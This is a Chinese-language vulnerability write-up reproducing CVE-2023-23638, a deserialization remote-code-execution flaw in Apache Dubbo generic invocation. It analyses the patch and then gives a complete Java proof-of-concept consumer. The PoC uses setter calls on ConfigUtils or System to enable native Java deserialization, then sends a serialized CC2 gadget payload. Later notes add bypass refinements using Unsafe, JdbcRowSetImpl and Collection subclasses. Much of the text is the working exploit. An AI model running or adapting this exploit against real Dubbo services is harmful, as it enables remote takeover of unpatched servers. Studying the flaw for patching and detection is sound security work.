CVE-2023-23638 Dubbo 反序列化RCE漏洞复现与分析

文章可能会有一些遗漏和不足,望指正

先上报告链接 https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cb
可以发现这次漏洞是由dubbo generic invoke引起的。
dubbo generic invoke具体是什么可以参考官方文档
这里只要知道当使用dubbo generic invoke时,服务端的privoder会调用GenericFilter类进行过滤。

然后看一下diff,Add serializable check for pojo
修复的主要点是在JavaBeanSerializeUtil类的name2Class方法和PojoUtil类的realize0方法

1
2
3
4
5
6
7
8
9
public static Class<?> name2Class(ClassLoader loader, String name) throws ClassNotFoundException {
...
SerializeClassChecker.getInstance().validateClass(name);
//patch-start
Class<?> aClass = Class.forName(name, false, loader);
SerializeClassChecker.getInstance().validateClass(aClass);
//patch-end
return aClass;
}

这个方法见名思义,就是根据名字返回类示例。可以发现在返回类实例前不仅需要将类名与黑名单进行对比,修复后还需要这个类实现了Serializable,否则会抛出异常。

回过头,看一下GenericFilter类,可以发现有一下几个算是sink的点吧:

  • genericnativejava时,会校验配置中的dubbo.security.serialize.generic.native-java-enable(默认为false)。当为true且传来的参数为byte[]类型时,就直接反序列化。
  • genericbean时,并且参数类型要实现JavaBeanDescriptor时,会对传来的参数调用JavaBeanSerializeUtil.deserialize((JavaBeanDescriptor)args[i]);。然后对beanDescriptor进行构造,会对其中的className进行实例化,然后调用beanDescriptor中key字段的setter方法,值为key对应的value。
  • genericprotobuf-json时,如果参数是String的实例的话,会进行反序列化
  • 都不满足上面条件的话会调用PojoUtils.realize(),当pojo是Map实例的话会对key为class的value进行实例化,当然这个class也不能在黑名单。然后都过对pojo这个map进行构造,也会调用这个实例的setter方法

前两点其实都无法直接利用。因为是对CVE-2021-30179的修复。CVE-2021-30179的raw.return也是用黑名单修复的。但明显这次没增加黑名单,应该不是新的链。
那利用点似乎只有第一个了。
但代码里会通过获取配置来进行判断,似乎也没办法。

但这样想一下,我们可不可以用不是黑名单的类调用setter方法,修改配置,然后再打一次,进行反序列化呢?
这样的话首先看一下第一点中的配置怎么来的,哪里能修改。源码如下:

1
2
3
4
5
6
7
8
9
else if (ProtocolUtils.isJavaGenericSerialization(generic)) {
Configuration configuration = ApplicationModel.getEnvironment().getConfiguration();
if (!configuration.getBoolean("dubbo.security.serialize.generic.native-java-enable", false)) {
String notice = "Trigger the safety barrier! Native Java Serializer is not allowed by default.This means currently maybe being attacking by others. If you are sure this is a mistake, please set `dubbo.security.serialize.generic.native-java-enable` enable in configuration! Before doing so, please make sure you have configure JEP290 to prevent serialization attack.";
logger.error(notice);
throw new RpcException(new IllegalStateException(notice));
}
...
}

这里可以看一下Configuration类,都没有提供一个set方法。
经过查找,在这篇文章中提到了ConfigUtils,使用getProperties()方法就进行对dubbo.properties配置文件进行读取。那看一下源码,发现有对应的setProperties方法对PROPERTIES进行赋值,那可以测试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Test {
public static void main(String[] args) {
// System.out.println(ApplicationModel.getEnvironment().getConfiguration());
Configuration configuration = ApplicationModel.getEnvironment().getConfiguration();
Boolean b = configuration.getBoolean("dubbo.security.serialize.generic.native-java-enable", false);
System.out.println(b);
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable", "true");
ConfigUtils.setProperties(properties);
System.out.println(PojoUtils.generalize(properties));

Boolean c = configuration.getBoolean("dubbo.security.serialize.generic.native-java-enable", false);
System.out.println(c);
}
}

结果如下:

1
2
3
false
{dubbo.security.serialize.generic.native-java-enable=true}
true

成了
那接下来思路就很清晰了:

  • 设置generic,通过GenericFilter#invoke()进入PojoUtils.realize(),对传进来的beanDescriptor进行配置,触发ConfigUtils#setProperties()修改配置。用这种方式的话,接口方法的参数类型可以是任意类型(当接口方法的参数类型为JavaBeanDescriptor时,上面提到的第一种方法也可以触发setter)
  • 设置genericnativejava,通过配置判断,进行原生反序列化

result

后来我又想了一下,既然ConfigUtils可以配置,那么System.setProperties是不是也可以。测试了一下,的确可以。不过Properties参数的设置会有一点不同。具体就不讲了,直接放在poc里了。那么当在System层面或者其他依赖中找到一个能修改全局配置的类,当这个类实现Serializable的时候,就可以绕过这次的修复,不过这种config存在的概率会很小,可以试着找一下。

注:Dubbo在3.x.x版本移除了ConfigUtils中的setProperties方法,所以就不能用ConfigUtils

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
public class GenericCallConsumer {

private static GenericService genericService;

public static void main(String[] args) throws Exception {
invokeSayHello1();
invokeSayHello2();
}
public static void setGenericService(boolean haveNJ){
ApplicationConfig applicationConfig = new ApplicationConfig();
applicationConfig.setName("generic-call-consumer");
RegistryConfig registryConfig = new RegistryConfig();
registryConfig.setAddress("zookeeper://127.0.0.1:2181");
ReferenceConfig<GenericService> referenceConfig = new ReferenceConfig<>();
referenceConfig.setInterface("org.apache.dubbo.samples.generic.call.api.HelloService");
applicationConfig.setRegistry(registryConfig);
referenceConfig.setApplication(applicationConfig);
referenceConfig.setGeneric(true);
referenceConfig.setAsync(true);
referenceConfig.setTimeout(7000);
if(haveNJ){
//dubbo 3.x 下面配置生效
referenceConfig.setGeneric("nativejava");

}
genericService = referenceConfig.get();
}
/* //payload1
public static void invokeSayHello1() throws Exception {
setGenericService(false);
RpcContext.getContext().setAttachment("generic", "bean");
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable", String.valueOf(true));
JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor();
javaBeanDescriptor.setClassName("org.apache.dubbo.common.utils.ConfigUtils");
javaBeanDescriptor.setProperty("properties",properties);
setFieldValue(javaBeanDescriptor,"type",7);

Object result = genericService.$invoke("sayHello", new String[]{"org.apache.dubbo.common.beanutil.JavaBeanDescriptor"}, new Object[]{javaBeanDescriptor});
CountDownLatch latch = new CountDownLatch(1);

CompletableFuture<String> future = RpcContext.getContext().getCompletableFuture();
future.whenComplete((value, t) -> {
System.err.println("invokeSayHello(whenComplete): " + value);
latch.countDown();
});

System.err.println("invokeSayHello(return): " + result);
latch.await();
}*/

//payload1 ConfigUtils.setProperties
/*
public static void invokeSayHello1() throws Exception {
setGenericService(false);
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable", "true");
HashMap pojoMap = new HashMap();
pojoMap.put("class","org.apache.dubbo.common.utils.ConfigUtils");
pojoMap.put("properties", PojoUtils.generalize(properties));
Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{pojoMap});
CountDownLatch latch = new CountDownLatch(1);

CompletableFuture<String> future = RpcContext.getContext().getCompletableFuture();
future.whenComplete((value, t) -> {
System.err.println("invokeSayHello(whenComplete): " + value);
latch.countDown();
});

System.err.println("invokeSayHello(return): " + result);
latch.await();
}

*/
//payload1 System.setProperties

public static void invokeSayHello1() throws Exception {
setGenericService(false);
Properties properties = System.getProperties();
properties.put("dubbo.security.serialize.generic.native-java-enable", "true");

HashMap pojoMap = new HashMap();
pojoMap.put("class","java.lang.System");
pojoMap.put("properties", PojoUtils.generalize(properties));
Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{pojoMap});
CountDownLatch latch = new CountDownLatch(1);

CompletableFuture<String> future = RpcContext.getContext().getCompletableFuture();
future.whenComplete((value, t) -> {
System.err.println("invokeSayHello(whenComplete): " + value);
latch.countDown();
});

System.err.println("invokeSayHello(return): " + result);
latch.await();
}


//payload2
public static void invokeSayHello2() throws Exception {
setGenericService(true);
//dubbo 2.x 下面配置生效
RpcContext.getContext().setAttachment("generic", "nativejava");
byte[] payload = getBytesByFile("CC2.ser");
Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{payload});
CountDownLatch latch = new CountDownLatch(1);

CompletableFuture<String> future = RpcContext.getContext().getCompletableFuture();
future.whenComplete((value, t) -> {
System.err.println("invokeSayHello(whenComplete): " + value);
latch.countDown();
});

System.err.println("invokeSayHello(return): " + result);
latch.await();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

3.23更新

X1r0z师傅提出修改SerializeClassChecker的实例中的INSTANCE属性为自定义的SerializeClassChecker,然后对这个实例中的黑白名单进行自定义,这样就可以只打一个poc,触发setter方法进行修改SerializeClassChecker和触发恶意setter,如JdbcRowSetImpl

X1r0z师傅也指出几个注意点:

  1. 为了避免在实例化 SerializeClassChecker 的时候调用构造函数自行加载黑白名单和设置 OPEN_CHECK_CLASS 属性, 需要使用 Unsafe 类以在无需调用构造函数的情况下进行实例化
  2. 在反序列化 JdbcRowSetImpl 类的过程中, setter 的调用必须保证先后顺序, 即先调用 setDataSourceName , 然后再调用 setAutoCommit , 所以需要使用 LinkedHashMap
  3. Hessian 序列化时会在本地检查对应类是否实现了 Serializable 接口, 在 dubbo consumer 中可以 设置 -Ddubbo.hessian.allowNonSerializable=true 参数以禁用检查
  4. 在修改白名单的时候注意把 classname 全部转成小写

当参数为 java.lang.String 或其它类型时, 无法进入 if 语句, 也就无法对 HashMap 中的 value 调用 realize0 方法。(这里我看源码在else中也能调用realize0,不知道是不是师傅构造的payload有问题,不过时间太晚了,没调试验证,不能下结论)

X1r0z师傅的解决方案:当 pojo 属于 Collection 类或其子类的时候, 无论 type 的具体内容是什么, 最终都会遍历 Collection 并对里面的值调用 realize0 方法。所以利用 Collection 的子类构造 poc 可以将利用面从参数为 java.lang.Object 类型扩大为参数为 java.lang.Object , java.lang.String , java.lang.Integer 等其它非基本类型